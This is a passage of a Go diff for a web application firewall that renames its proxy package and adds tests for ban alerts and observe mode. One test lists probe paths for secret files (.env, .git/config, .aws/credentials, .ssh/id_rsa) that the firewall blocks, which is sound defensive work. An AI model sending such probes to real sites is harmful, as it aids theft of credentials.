+	// The error is raised as a file_error alert too, for the file.
+	wantFileError := func() {
+		t.Helper()
+
+		waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
+		if len(waiting) != 1 || waiting[0].Event != alerts.EventFileError ||
+			waiting[0].Reason != hasError || waiting[0].Detail["error"] != want ||
+			waiting[0].Detail["file"] != filepath.Join(dir, firstFile) {
+			t.Errorf("alerts waiting %+v, want one file_error alert for %q", waiting, want)
+		}
+	}
+	wantFileError()
+
 	wantMatched(t, files, get(t, "/first"), "first")
 	wantMatched(t, files, get(t, "/second"))
 
-	// Once mended, the file is read again.
+	// Once mended, the file is read again, and raises no alert.
 	save(t, dir, firstFile, "first path block ^/edited\nsecond path ban ^/second\n")
 	lines.waitUntil(t, func() bool { return len(files.Match(get(t, "/second"))) == 1 })
 	wantMatched(t, files, get(t, "/edited"), "first")
+	wantFileError()
 }
 
 func TestDefaultFileBansProbesAtTheSiteRootAlone(t *testing.T) {
@@ -401,7 +420,7 @@ func TestDefaultFileBansProbesAtTheSiteRootAlone(t *testing.T) {
 
 	// Probes sent by a browser, by the rule that refuses them.
 	for rule, targets := range map[string][]string{
-		"env-file":    {"/.env", "/.env.production", "/.ENV"},
+		"env-file":    {"/.env", "/.env.production", "/.ENV", "/%2eenv"},
 		"vcs-dir":     {"/.git/config", "/.git", "/.svn/entries"},
 		"secrets-dir": {"/.aws/credentials", "/.ssh/id_rsa"},
 		"secret-file": {"/.htpasswd", "/.DS_Store", "/.git-credentials"},
@@ -504,7 +523,8 @@ func save(t *testing.T, dir, name, content string) {
 }
 
 // newParams returns Params for the rule files in dir, switched on, with
-// the process log in the processLog returned.
+// the process log in the processLog returned, and the alerts waiting in a
+// queue for a webhook that is never sent them.
 func newParams(dir string) (rules.Params, processLog) {
 	lines := make(processLog, maxLogLines)
 
@@ -512,6 +532,12 @@ func newParams(dir string) (rules.Params, processLog) {
 		Dir:        dir,
 		Enabled:    true,
 		ProcessLog: slog.New(slog.NewJSONHandler(lines, nil)),
+		Alerts: alerts.New(alerts.Params{
+			WebhookURL: &url.URL{Scheme: "https", Host: "alerts.example"},
+			Events:     alerts.Events(),
+			Cooldown:   15 * time.Minute,
+			Now:        time.Now,
+		}),
 	}, lines
 }
 
@@ -531,8 +557,9 @@ func load(t *testing.T, files ruleFiles) *rules.Files {
 }
 
 // watch loads the rules in dir, runs their Watch until the test ends, and
-// waits until it watches the directory.
-func watch(t *testing.T, dir string) (*rules.Files, processLog) {
+// waits until it watches the directory. It returns the alerts' queue as
+// well.
+func watch(t *testing.T, dir string) (*rules.Files, processLog, *alerts.Queue) {
 	t.Helper()
 
 	params, lines := newParams(dir)
@@ -557,7 +584,7 @@ func watch(t *testing.T, dir string) (*rules.Files, processLog) {
 
 	lines.waitFor(t, watching)
 
-	return files, lines
+	return files, lines, params.Alerts
 }
 
 // wantRefused checks that loading the rule files in dir fails with the

internal/rules/watch_internal_test.go

@@ -13,6 +13,8 @@ import (
 	"time"
 
 	"github.com/fsnotify/fsnotify"
+
+	"sneak.berlin/go/smallwebwaf/internal/alerts"
 )
 
 // The tests below run readAfterChanges in a synctest bubble, where time is
@@ -91,6 +93,7 @@ func load(t *testing.T, dir string) *Files {
 
 	files, err := Load(Params{
 		Dir: dir, Enabled: true, ProcessLog: slog.New(slog.DiscardHandler),
+		Alerts: alerts.New(alerts.Params{}),
 	})
 	if err != nil {
 		t.Fatalf("load: %v", err)

internal/servewaf/admin.go

@@ -1,4 +1,4 @@
-package proxy
+package servewaf
 
 import (
 	"bytes"
@@ -9,7 +9,6 @@ import (
 	"io"
 	"net/http"
 	"net/netip"
-	"os"
 	"strings"
 	"time"
 
@@ -41,15 +40,22 @@ var (
 	errNotAddress = errors.New("is not an address, such as 203.0.113.9")
 )
 
-// answerAdmin answers a request for smallwebwaf itself, under
-// /_smallwebwaf/, once it has passed the checks. Each endpoint needs a
-// token, sent as Authorization: Bearer <token>: the metrics
-// SWWAF_METRICS_TOKEN, the others SWWAF_ADMIN_TOKEN. A request without
-// it is refused with 401. An endpoint whose token is unset answers 404,
-// as any other request under /_smallwebwaf/ does.
+// answerHealth answers a request for the health endpoint.
+func (rq *request) answerHealth() {
+	rq.line.Action = requestlog.ActionAdmin
+	// Set here rather than left to Go's server, which would set it only
+	// after the log line has taken the response's headers.
+	rq.out.Header().Set("Content-Type", "text/plain; charset=utf-8")
+	_, _ = io.WriteString(rq.out, "ok\n")
+}
+
+// answerAdmin answers a request for one of servewaf's own endpoints. Each
+// needs a token, sent as Authorization: Bearer <token>: the metrics
+// SWWAF_METRICS_TOKEN, the others SWWAF_ADMIN_TOKEN. A request without it is
+// refused with 401. An endpoint whose token is unset answers 404, as any other
+// path does.
 func (rq *request) answerAdmin() {
 	rq.line.Action = requestlog.ActionAdmin
-	rq.startClientResponseTimeout()
 
 	token, answer := rq.endpoint()
 
@@ -58,10 +64,7 @@ func (rq *request) answerAdmin() {
 		http.Error(rq.out, http.StatusText(http.StatusNotFound), http.StatusNotFound)
 	case !hasToken(rq.in, token):
 		rq.out.Header().Set("WWW-Authenticate", "Bearer")
-		rq.answer(refusal{
-			status: http.StatusUnauthorized,
-			action: requestlog.ActionAdmin,
-		})
+		http.Error(rq.out, http.StatusText(http.StatusUnauthorized), http.StatusUnauthorized)
 	default:
 		answer()
 	}
@@ -118,26 +121,7 @@ type banToAdd struct {
 // an admin, from now for the duration the body gives, with its reason,
 // and answers with that ban.
 func (rq *request) addBan() {
-	// The body must arrive within SWWAF_CLIENT_REQUEST_TIMEOUT, as any
-	// other request's must.
-	rq.stopReadingBody(rq.clientRequestDeadline())
-
 	toAdd, err := rq.readBanToAdd()
-	if refused := rq.refused.Load(); refused != nil {
-		rq.answer(*refused) // the body is over SWWAF_REQUEST_MAX_BYTES
-
-		return
-	}
-
-	if errors.Is(err, os.ErrDeadlineExceeded) {
-		rq.answer(refusal{
-			status: http.StatusRequestTimeout,
-			action: requestlog.ActionTimedOut,
-			limit:  "SWWAF_CLIENT_REQUEST_TIMEOUT",
-		})
-
-		return
-	}
 
 	var (
 		netblock netip.Prefix
@@ -166,12 +150,9 @@ func (rq *request) addBan() {
 // readBanToAdd reads the body of POST BansPath: a JSON object with
 // nothing but whitespace after it, in at most banBodyMaxBytes.
 func (rq *request) readBanToAdd() (banToAdd, error) {
-	var body io.ReadCloser = http.NoBody
-	if rq.body != nil {
-		body = rq.body
-	}
+	data, err := io.ReadAll(http.MaxBytesReader(nil, rq.in.Body, banBodyMaxBytes))
+	rq.requestBytes = int64(len(data))
 
-	data, err := io.ReadAll(http.MaxBytesReader(nil, body, banBodyMaxBytes))
 	if err != nil {
 		return banToAdd{}, fmt.Errorf("%w: %w", errNotBanToAdd, err)
 	}
@@ -269,9 +250,9 @@ type clientAnswer struct {
 	Bans   []state.BanEntry  `json:"bans"`
 }
 
-// showClient answers GET ClientsPath<ip> with what smallwebwaf knows of
-// the client: its counters, its history, which holds its country as last
-// looked up and its offences, and its bans with their notes.
+// showClient answers GET ClientsPath<ip> with what servewaf knows of the client:
+// its counters, its history, which holds its country as last looked up and its
+// offences, and its bans with their notes.
 func (rq *request) showClient() {
 	addr, err := pathAddress(rq.in.URL.Path, ClientsPath)
 	if err != nil {
@@ -282,7 +263,7 @@ func (rq *request) showClient() {
 
 	answer := clientAnswer{Bans: state.BanEntries(rq.h.ledger.Covering(addr))}
 
-	client, seen := rq.h.limiter.Client(clientGroup(addr))
+	client, seen := rq.h.limiter.Client(rq.h.clientGroup(addr))
 	if seen {
 		answer.Client = &client
 	}

internal/servewaf/admin_test.go

@@ -1,19 +1,18 @@
-package proxy_test
+package servewaf_test
 
 import (
 	"encoding/json"
 	"net/http"
 	"net/netip"
-	"slices"
-	"strconv"
+	"reflect"
 	"strings"
 	"testing"
 	"time"
 
 	"sneak.berlin/go/smallwebwaf/internal/bans"
-	"sneak.berlin/go/smallwebwaf/internal/proxy"
 	"sneak.berlin/go/smallwebwaf/internal/ratelimit"
 	"sneak.berlin/go/smallwebwaf/internal/requestlog"
+	"sneak.berlin/go/smallwebwaf/internal/servewaf"
 	"sneak.berlin/go/smallwebwaf/internal/state"
 )
 
@@ -23,8 +22,6 @@ const (
 	// how a request carries it.
 	adminSecret = "fedcba9876543210fedcba9876543210"
 	adminBearer = "Bearer " + adminSecret
-	// adminClient is the client the tests' admin sends its requests from.
-	adminClient = "192.0.2.10"
 	// banOtherClient is the body of a request to ban otherClient for an
 	// hour.
 	banOtherClient = `{"netblock": "` + otherClient + `", "duration": "1h", ` +
@@ -43,12 +40,11 @@ func TestAdminEndpointsAreOffWhileTheTokenIsUnset(t *testing.T) {
 	// An empty token does not match the unset one either.
 	for _, authorization := range []string{adminBearer, bearer, "Bearer ", ""} {
 		for _, e := range adminEndpoints() {
-			s.adminRequest(adminClient, authorization, e.method, e.path, e.body,
-				http.StatusNotFound, requestlog.ActionAdmin)
+			s.adminRequest(authorization, e.method, e.path, e.body, http.StatusNotFound)
 		}
 	}
 
-	if after := server.Ledger.Snapshot(); !slices.Equal(after, before) {
+	if after := server.Ledger.Snapshot(); !reflect.DeepEqual(after, before) {
 		t.Errorf("the bans are now\n%+v\nwant them unchanged\n%+v", after, before)
 	}
 }
@@ -71,15 +67,15 @@ func TestAdminEndpointsNeedTheAdminToken(t *testing.T) {
 		for _, authorization := range []string{
 			"", bearer, "Bearer " + strings.ToUpper(adminSecret), "Basic " + adminSecret,
 		} {
-			got := s.adminRequest(adminClient, authorization, e.method, e.path, e.body,
-				http.StatusUnauthorized, requestlog.ActionAdmin)
+			got := s.adminRequest(authorization, e.method, e.path, e.body,
+				http.StatusUnauthorized)
 			if got.header.Get("WWW-Authenticate") != "Bearer" {
 				t.Errorf("%s %s with %q was answered without WWW-Authenticate: Bearer",
 					e.method, e.path, authorization)
 			}
 		}
 
-		if after := server.Ledger.Snapshot(); !slices.Equal(after, before) {
+		if after := server.Ledger.Snapshot(); !reflect.DeepEqual(after, before) {
 			t.Errorf("%s %s without the token changed the bans to\n%+v\nfrom\n%+v",
 				e.method, e.path, after, before)
 		}
@@ -92,11 +88,11 @@ func TestAdminEndpointsNeedTheAdminToken(t *testing.T) {
 
 	// Any other request under /_smallwebwaf/ is not found.
 	for _, e := range []adminEndpoint{
-		{http.MethodPut, proxy.BansPath, banOtherClient},
-		{http.MethodDelete, proxy.BansPath, ""},
-		{http.MethodGet, proxy.BansPath + "/" + otherClient, ""},
-		{http.MethodPost, proxy.ClientsPath + otherClient, ""},
-		{http.MethodGet, strings.TrimSuffix(proxy.ClientsPath, "/"), ""},
+		{http.MethodPut, servewaf.BansPath, banOtherClient},
+		{http.MethodDelete, servewaf.BansPath, ""},
+		{http.MethodGet, servewaf.BansPath + "/" + otherClient, ""},
+		{http.MethodPost, servewaf.ClientsPath + otherClient, ""},
+		{http.MethodGet, strings.TrimSuffix(servewaf.ClientsPath, "/"), ""},
 	} {
 		s.admin(e.method, e.path, e.body, http.StatusNotFound)
 	}
@@ -122,7 +118,7 @@ func TestBanAddedListedAndLiftedThroughTheEndpoints(t *testing.T) {
 		Reason:   "probes for logins",
 	}
 
-	wantBans(t, s.admin(http.MethodPost, proxy.BansPath, banOtherClient, http.StatusOK),
+	wantBans(t, s.admin(http.MethodPost, servewaf.BansPath, banOtherClient, http.StatusOK),
 		want)
 
 	line := s.get(client, http.StatusForbidden, requestlog.ActionBanned)
@@ -133,7 +129,7 @@ func TestBanAddedListedAndLiftedThroughTheEndpoints(t *testing.T) {
 	// Its notes count the request it refused.
 	want.Notes.Requests, want.Notes.Refused = 1, 1
 
-	wantBans(t, s.admin(http.MethodGet, proxy.BansPath, "", http.StatusOK), want)
+	wantBans(t, s.admin(http.MethodGet, servewaf.BansPath, "", http.StatusOK), want)
 
 	// Ten minutes on, lifting the bans on client lifts that one, which is
 	// kept, marked lifted.
@@ -142,13 +138,13 @@ func TestBanAddedListedAndLiftedThroughTheEndpoints(t *testing.T) {
 	lifted := clk.Now()
 	want.Lifted = &lifted
 
-	wantBans(t, s.admin(http.MethodDelete, proxy.BansPath+"/"+client, "",
+	wantBans(t, s.admin(http.MethodDelete, servewaf.BansPath+"/"+client, "",
 		http.StatusOK), want)
 	s.get(client, http.StatusOK, requestlog.ActionForward)
-	wantBans(t, s.admin(http.MethodGet, proxy.BansPath, "", http.StatusOK), want)
+	wantBans(t, s.admin(http.MethodGet, servewaf.BansPath, "", http.StatusOK), want)
 
 	// No ban on it is active any more.
-	s.admin(http.MethodDelete, proxy.BansPath+"/"+client, "", http.StatusNotFound)
+	s.admin(http.MethodDelete, servewaf.BansPath+"/"+client, "", http.StatusNotFound)
 }
 
 func TestBanToAddGivesItsNetblockAndDuration(t *testing.T) {
@@ -185,7 +181,7 @@ func TestBanToAddGivesItsNetblockAndDuration(t *testing.T) {
 			want.Expires = &expires
 		}
 
-		wantBans(t, s.admin(http.MethodPost, proxy.BansPath, body, http.StatusOK), want)
+		wantBans(t, s.admin(http.MethodPost, servewaf.BansPath, body, http.StatusOK), want)
 	}
 }
 
@@ -254,7 +250,7 @@ func TestBanToAddThatCannotBeReadIsRefused(t *testing.T) {
 			"request body too large",
 		},
 	} {
-		got := s.admin(http.MethodPost, proxy.BansPath, tc.body, http.StatusBadRequest)
+		got := s.admin(http.MethodPost, servewaf.BansPath, tc.body, http.StatusBadRequest)
 		if !strings.Contains(string(got.body), tc.want) {
 			t.Errorf("%.80s was answered %q, want it to say %q", tc.body, got.body, tc.want)
 		}
@@ -265,64 +261,12 @@ func TestBanToAddThatCannotBeReadIsRefused(t *testing.T) {
 	}
 }
 
-func TestBanToAddOverTheRequestSizeLimitIsRefused(t *testing.T) {
-	t.Parallel()
-
-	s, _, server := startWithClock(t, "", map[string]string{
-		adminToken:      adminSecret,
-		requestMaxBytes: "16",
-	})
-
-	// Sent in a chunk, its length is not announced, so that it is found
-	// over SWWAF_REQUEST_MAX_BYTES only as it is read.
-	chunk := `{"netblock": "203.0.113.9", "duration": "1h"}`
-	s.adminRequest(adminClient, adminBearer+"\r\nTransfer-Encoding: chunked",
-		http.MethodPost, proxy.BansPath,
-		strconv.FormatInt(int64(len(chunk)), 16)+"\r\n"+chunk+"\r\n0\r\n\r\n",
-		http.StatusRequestEntityTooLarge, requestlog.ActionTooLarge)
-
-	if held := server.Ledger.Snapshot(); len(held) != 0 {
-		t.Errorf("the ledger holds %+v, want no ban", held)
-	}
-}
-
-func TestBanToAddSlowerThanTheClientRequestTimeoutIsRefused(t *testing.T) {
-	t.Parallel()
-
-	s, _, server := startWithClock(t, "", map[string]string{
-		adminToken:           adminSecret,
-		metricsToken:         token,
-		clientRequestTimeout: shortTimeoutSetting,
-	})
-
-	// The chunk announces 256 bytes and the rest of it never comes, so only
-	// the timeout ends the wait. A hold-up of the test process can only
-	// make the answer later, so the time is checked only for not being
-	// shorter than the timeout.
-	start := time.Now()
-
-	s.adminRequest(adminClient, adminBearer+"\r\nTransfer-Encoding: chunked",
-		http.MethodPost, proxy.BansPath, "100\r\n"+`{"netblock": "203.0.113.9", `,
-		http.StatusRequestTimeout, requestlog.ActionTimedOut)
-
-	if took := time.Since(start); took < shortTimeout {
-		t.Errorf("answered after %s, before the timeout of %s ran out", took, shortTimeout)
-	}
-
-	wantLimitHits(t, s.addr, clientRequestTimeout, 1)
-
-	if held := server.Ledger.Snapshot(); len(held) != 0 {
-		t.Errorf("the ledger holds %+v, want no ban", held)
-	}
-}
-
 func TestClientEndpointShowsTheClientAndItsBans(t *testing.T) {
 	t.Parallel()
 
 	s, clk, _ := startWithClock(t, "", map[string]string{
 		adminToken:         adminSecret,
 		rateLimitPerMinute: "2",
-		rateLimitExemptNets: adminClient,
 	})
 	start := clk.Now()
 
@@ -339,7 +283,7 @@ func TestClientEndpointShowsTheClientAndItsBans(t *testing.T) {
 			Bans   []state.BanEntry  `json:"bans"`
 		}
 
-		decode(t, s.admin(http.MethodGet, proxy.ClientsPath+addr, "", http.StatusOK), &got)
+		decode(t, s.admin(http.MethodGet, servewaf.ClientsPath+addr, "", http.StatusOK), &got)
 
 		if got.Client == nil {
 			t.Fatalf("%s: no client", addr)
@@ -361,71 +305,16 @@ func TestClientEndpointShowsTheClientAndItsBans(t *testing.T) {
 
 	// Of an address no request came from and no ban covers, nothing is
 	// known.
-	got := s.admin(http.MethodGet, proxy.ClientsPath+"198.51.100.99", "", http.StatusOK)
+	got := s.admin(http.MethodGet, servewaf.ClientsPath+"198.51.100.99", "", http.StatusOK)
 	if string(got.body) != "{\n    \"client\": null,\n    \"bans\": []\n}\n" {
 		t.Errorf("an unknown client is answered\n%s", got.body)
 	}
 
-	s.admin(http.MethodGet, proxy.ClientsPath+"203.0.113", "", http.StatusBadRequest)
-	s.admin(http.MethodDelete, proxy.BansPath+"/203.0.113.0/24", "",
+	s.admin(http.MethodGet, servewaf.ClientsPath+"203.0.113", "", http.StatusBadRequest)
+	s.admin(http.MethodDelete, servewaf.BansPath+"/203.0.113.0/24", "",
 		http.StatusBadRequest)
 }
 
-func TestBannedClientIsRefusedAtTheEndpointsEvenWithTheToken(t *testing.T) {
-	t.Parallel()
-
-	s, _, _ := startWithClock(t, "", map[string]string{adminToken: adminSecret})
-
-	s.admin(http.MethodPost, proxy.BansPath, banOtherClient, http.StatusOK)
-
-	// otherClient cannot lift its own ban either.
-	for _, e := range adminEndpoints() {
-		s.adminRequest(otherClient, adminBearer, e.method, e.path, e.body,
-			http.StatusForbidden, requestlog.ActionBanned)
-	}
-}
-
-func TestAdminRequestsCountTowardTheLimits(t *testing.T) {
-	t.Parallel()
-
-	s, _, _ := startWithClock(t, "", map[string]string{
-		adminToken:         adminSecret,
-		rateLimitPerMinute: "2",
-	})
-
-	// A request refused for a missing token and one answered count toward
-	// the limit of two a minute, so the next breaks it.
-	s.adminRequest(client, "", http.MethodGet, proxy.BansPath, "",
-		http.StatusUnauthorized, requestlog.ActionAdmin)
-	s.adminRequest(client, adminBearer, http.MethodGet, proxy.BansPath, "",
-		http.StatusOK, requestlog.ActionAdmin)
-	s.adminRequest(client, adminBearer, http.MethodGet, proxy.BansPath, "",
-		http.StatusForbidden, requestlog.ActionRateLimited)
-}
-
-func TestClientInAllowNetsSkipsTheChecksButNeedsTheToken(t *testing.T) {
-	t.Parallel()
-
-	const allowed = "192.0.2.60" // in SWWAF_ALLOW_NETS
-
-	s, clk, server := startWithClock(t, "", map[string]string{
-		adminToken:         adminSecret,
-		allowNets:          allowed,
-		rateLimitPerMinute: "1",
-	})
-
-	// A ban on it refuses nothing, and its requests are not counted.
-	server.Ledger.BanForAdmin(netip.MustParsePrefix(allowed+"/32"), clk.Now(),
-		time.Time{}, "")
-
-	for range 2 {
-		s.adminRequest(allowed, "", http.MethodGet, proxy.BansPath, "",
-			http.StatusUnauthorized, requestlog.ActionAdmin)
-		s.adminRequest(allowed, adminBearer, http.MethodGet, proxy.BansPath, "",
-			http.StatusOK, requestlog.ActionAdmin)
-	}
-}
-
 func TestAdminEndpointsNeedTheTokenInObserveMode(t *testing.T) {
 	t.Parallel()
 
@@ -435,8 +324,7 @@ func TestAdminEndpointsNeedTheTokenInObserveMode(t *testing.T) {
 	})
 
 	for _, e := range adminEndpoints() {
-		s.adminRequest(adminClient, "", e.method, e.path, e.body,
-			http.StatusUnauthorized, requestlog.ActionAdmin)
+		s.adminRequest("", e.method, e.path, e.body, http.StatusUnauthorized)
 	}
 
 	if held := server.Ledger.Snapshot(); len(held) != 0 {
@@ -454,46 +342,40 @@ type adminEndpoint struct {
 // bans on otherClient, and asking about otherClient.
 func adminEndpoints() []adminEndpoint {
 	return []adminEndpoint{
-		{http.MethodGet, proxy.BansPath, ""},
-		{http.MethodPost, proxy.BansPath, banOtherClient},
-		{http.MethodDelete, proxy.BansPath + "/" + otherClient, ""},
-		{http.MethodGet, proxy.ClientsPath + otherClient, ""},
+		{http.MethodGet, servewaf.BansPath, ""},
+		{http.MethodPost, servewaf.BansPath, banOtherClient},
+		{http.MethodDelete, servewaf.BansPath + "/" + otherClient, ""},
+		{http.MethodGet, servewaf.ClientsPath + otherClient, ""},
 	}
 }
 
-// admin sends a request with method for path, with body, from
-// adminClient, with the admin token, and checks that it is answered with
-// status, its log line's action admin. It returns the answer.
+// admin sends a request with method for path, with body, to servewaf's own
+// address, with the admin token, and checks that it is answered with status, its
+// log line's action admin. It returns the answer.
 func (s *sender) admin(method, path, body string, status int) answer {
 	s.t.Helper()
 
-	return s.adminRequest(adminClient, adminBearer, method, path, body, status,
-		requestlog.ActionAdmin)
+	return s.adminRequest(adminBearer, method, path, body, status)
 }
 
-// adminRequest sends a request with method for path, with body, from the
-// client at from, with authorization as its Authorization header unless
-// it is "", and checks its answer's status and its log line's action, as
-// request does. authorization may end in more header lines. A body that
-// is not "" has its length announced, unless authorization names
-// Transfer-Encoding. It returns the answer.
+// adminRequest is admin with authorization as the request's Authorization header
+// unless it is "".
 func (s *sender) adminRequest(
-	from, authorization, method, path, body string, status int, action string,
+	authorization, method, path, body string, status int,
 ) answer {
 	s.t.Helper()
 
-	var header []string
-
+	req := newRequest(s.t, method, s.serveWAFAddr, path, strings.NewReader(body))
 	if authorization != "" {
-		header = append(header, "Authorization: "+authorization)
+		req.Header.Set("Authorization", authorization)
 	}
 
-	if body != "" && !strings.Contains(authorization, "Transfer-Encoding") {
-		header = append(header, "Content-Length: "+strconv.Itoa(len(body)))
-	}
+	got := do(s.t, req)
+	wantStatus(s.t, got, status)
 
-	_, got := s.requestWithBody(method, from, path, strings.Join(header, "\r\n"),
-		body, status, action)
+	line := s.out.endedLines(s.t, s.sent+1)[s.sent]
+	s.sent++
+	wantLine(s.t, line, status, requestlog.ActionAdmin)
 
 	return got
 }

internal/servewaf/alerts_test.go

@@ -0,0 +1,277 @@
+package servewaf_test
+
+import (
+	"maps"
+	"net/http"
+	"net/netip"
+	"reflect"
+	"testing"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/alerts"
+	"sneak.berlin/go/smallwebwaf/internal/bans"
+	"sneak.berlin/go/smallwebwaf/internal/requestlog"
+	"sneak.berlin/go/smallwebwaf/internal/servewaf"
+)
+
+const (
+	alertWebhookURL = "SWWAF_ALERT_WEBHOOK_URL"
+	alertMaxPerHour = "SWWAF_ALERT_MAX_PER_HOUR"
+	// alertInstance is the instance every alert of these tests gives.
+	alertInstance = "fsn1app1/gitea"
+)
+
+func TestBanForABrokenLimitRaisesABanAlertWithItsNotes(t *testing.T) {
+	t.Parallel()
+
+	s, clk, server, queue := startWithAlerts(t, map[string]string{
+		rateLimitPerMinute: "1",
+		banScopeV4Prefix:   "24",
+	})
+	start := clk.Now()
+
+	s.get(client, http.StatusOK, requestlog.ActionForward)
+	s.get(client, http.StatusForbidden, requestlog.ActionRateLimited)
+
+	netblock := netip.MustParsePrefix("203.0.113.0/24")
+	ban := server.Ledger.Bans(netblock)[0]
+
+	// A request refused under the ban raises no other alert.
+	clk.advance(time.Minute)
+	s.get(client, http.StatusForbidden, requestlog.ActionBanned)
+
+	wantAlerts(t, queue, banAlert(alerts.EventBan, start, client, bans.Ban{
+		Netblock: netblock, Cause: bans.CauseLimit,
+		Reason: "requests per minute over the limit of 1", Notes: ban.Notes,
+	}, requestlog.FormatTime(start.Add(time.Hour))))
+
+	if ban.Notes.Limit != 1 || ban.Notes.Request.Path != "/" {
+		t.Errorf("the alert's notes are %+v, want those of the broken limit", ban.Notes)
+	}
+}
+
+func TestAttackBanRaisesABanAlertThenAPermanentBanAlert(t *testing.T) {
+	t.Parallel()
+
+	s, clk, server, queue := startWithAlerts(t, map[string]string{
+		rulesDir: writeRules(t, testRules),
+	})
+	start := clk.Now()
+	netblock := netip.MustParsePrefix(client + "/32")
+	other := netip.MustParsePrefix(otherClient + "/32")
+
+	// The probe bans the client for seven days, and its next request makes
+	// the ban permanent. The request after that changes nothing.
+	s.request(client, "/.env", http.StatusForbidden, requestlog.ActionBanned)
+
+	attackBan := server.Ledger.Bans(netblock)[0]
+
+	clk.advance(time.Minute)
+	s.get(client, http.StatusForbidden, requestlog.ActionBanned)
+
+	permanentBan := server.Ledger.Bans(netblock)[0]
+
+	s.get(client, http.StatusForbidden, requestlog.ActionBanned)
+
+	// Another client's probe after its first ban has run out without a
+	// request makes a permanent ban at once.
+	s.request(otherClient, "/.env", http.StatusForbidden, requestlog.ActionBanned)
+	clk.advance(7 * 24 * time.Hour)
+	s.request(otherClient, "/.env", http.StatusForbidden, requestlog.ActionBanned)
+
+	otherBans := server.Ledger.Bans(other)
+
+	wantAlerts(t, queue,
+		attackAlert(alerts.EventBan, start, client, attackBan,
+			requestlog.FormatTime(start.Add(7*24*time.Hour))),
+		attackAlert(alerts.EventPermanentBan, start.Add(time.Minute), client,
+			permanentBan, "permanent"),
+		attackAlert(alerts.EventBan, start.Add(time.Minute), otherClient, otherBans[0],
+			requestlog.FormatTime(start.Add(time.Minute+7*24*time.Hour))),
+		attackAlert(alerts.EventPermanentBan, start.Add(time.Minute+7*24*time.Hour),
+			otherClient, otherBans[1], "permanent"),
+	)
+}
+
+func TestObserveModeRaisesTheBanAlertsItWouldHave(t *testing.T) {
+	t.Parallel()
+
+	s, clk, server, queue := startWithAlerts(t, map[string]string{
+		mode:               observe,
+		rateLimitPerMinute: "2",
+		rulesDir:           writeRules(t, testRules),
+	})
+	start := clk.Now()
+
+	// A ban for a clear sign of attack, which a request under it would make
+	// permanent.
+	group := netip.MustParsePrefix(ipv6Group)
+	attackBan, _ := server.Ledger.BanForAttack(group, start, bans.Notes{RuleID: "probe"})
+
+	// The third request breaks the limit, and so does the fourth, within the
+	// cooldown, which raises nothing. The probe is a clear sign of attack.
+	for range 4 {
+		s.get(client, http.StatusOK, requestlog.ActionForward)
+	}
+
+	s.request(otherClient, "/.env", http.StatusOK, requestlog.ActionForward)
+	line := s.get(ipv6Client, http.StatusOK, requestlog.ActionForward)
+
+	// No ban is made, and none made permanent.
+	held := server.Ledger.Snapshot()
+	if len(held) != 1 || !reflect.DeepEqual(held[0], attackBan) ||
+		line.BanExpires != requestlog.FormatTime(attackBan.Expires) {
+		t.Errorf("the ledger holds %+v, and the log line gives %s, want the ban "+
+			"for the attack alone, as it was", held, line.BanExpires)
+	}
+
+	waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
+	if len(waiting) != 3 || queue.Suppressed() != 0 {
+		t.Fatalf("%d alerts wait and %d are held back, want 3 and 0: %+v",
+			len(waiting), queue.Suppressed(), waiting)
+	}
+
+	limitNotes, _ := waiting[0].Detail["notes"].(bans.Notes)
+	attackNotes, _ := waiting[1].Detail["notes"].(bans.Notes)
+
+	if limitNotes.Limit != 2 || limitNotes.Request.Path != "/" ||
+		attackNotes.Request.Path != "/.env" {
+		t.Errorf("the notes are %+v and %+v, want those of the broken limit and "+
+			"of the probe", limitNotes, attackNotes)
+	}
+
+	// Each alert is the one enforce mode would have raised, with mode
+	// observe in its detail.
+	want := []alerts.Alert{
+		banAlert(alerts.EventBan, start, client, bans.Ban{
+			Netblock: netip.MustParsePrefix(client + "/32"), Cause: bans.CauseLimit,
+			Reason: "requests per minute over the limit of 2", Notes: limitNotes,
+		}, requestlog.FormatTime(start.Add(time.Hour))),
+		attackAlert(alerts.EventBan, start, otherClient, bans.Ban{
+			Netblock: netip.MustParsePrefix(otherClient + "/32"), Notes: attackNotes,
+		}, requestlog.FormatTime(start.Add(7*24*time.Hour))),
+		attackAlert(alerts.EventPermanentBan, start, ipv6Client, attackBan, permanent),
+	}
+	for _, alert := range want {
+		alert.Detail["mode"] = observe
+	}
+
+	wantAlerts(t, queue, want...)
+}
+
+func TestObserveModeWorksOutABanOnlyWhenItsAlertWouldBeSent(t *testing.T) {
+	t.Parallel()
+
+	s, _, _, queue := startWithAlerts(t, map[string]string{
+		mode:               observe,
+		rateLimitPerMinute: "2",
+		rulesDir:           writeRules(t, testRules),
+		alertMaxPerHour:    "2",
+	})
+
+	// The client's third request breaks the limit, and raises the first
+	// alert of the hour. Its fourth is within the cooldown.
+	for range 4 {
+		s.get(client, http.StatusOK, requestlog.ActionForward)
+	}
+
+	// The other client's first probe raises the second. Its second probe is
+	// within the cooldown.
+	for range 2 {
+		s.request(otherClient, "/.env", http.StatusOK, requestlog.ActionForward)
+	}
+
+	// The IPv6 client's third request breaks the limit past the two alerts
+	// an hour.
+	for range 3 {
+		s.get(ipv6Client, http.StatusOK, requestlog.ActionForward)
+	}
+
+	// Had the ban been worked out for any of the requests within the
+	// cooldown or past the two an hour, its alert would have been raised,
+	// held back and counted.
+	waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
+	if len(waiting) != 2 || queue.Suppressed() != 0 {
+		t.Errorf("%d alerts wait and %d are held back, want 2 and 0: %+v",
+			len(waiting), queue.Suppressed(), waiting)
+	}
+}
+
+// startWithAlerts is startWithClock with alerts to a webhook, which is
+// never sent them, and returns the queue they wait in as well.
+func startWithAlerts(
+	t *testing.T, env map[string]string,
+) (*sender, *clock, *servewaf.Server, *alerts.Queue) {
+	t.Helper()
+
+	return startAppWithAlerts(t, func(http.ResponseWriter, *http.Request) {}, env)
+}
+
+// startAppWithAlerts is startWithAlerts in front of the app handler.
+func startAppWithAlerts(
+	t *testing.T, handler http.HandlerFunc, env map[string]string,
+) (*sender, *clock, *servewaf.Server, *alerts.Queue) {
+	t.Helper()
+
+	app := startApp(t, handler)
+	clk := &clock{now: time.Date(2026, 10, 6, 0, 0, 0, 0, time.UTC)}
+	settings := map[string]string{
+		trustedProxies:  trustLocalhost,
+		alertWebhookURL: "https://alerts.example/smallwebwaf",
+		instanceName:    alertInstance,
+	}
+	maps.Copy(settings, env)
+
+	addr, out, server, queue := startProxyWithAlerts(t, app.URL, "", clk.Now, settings)
+
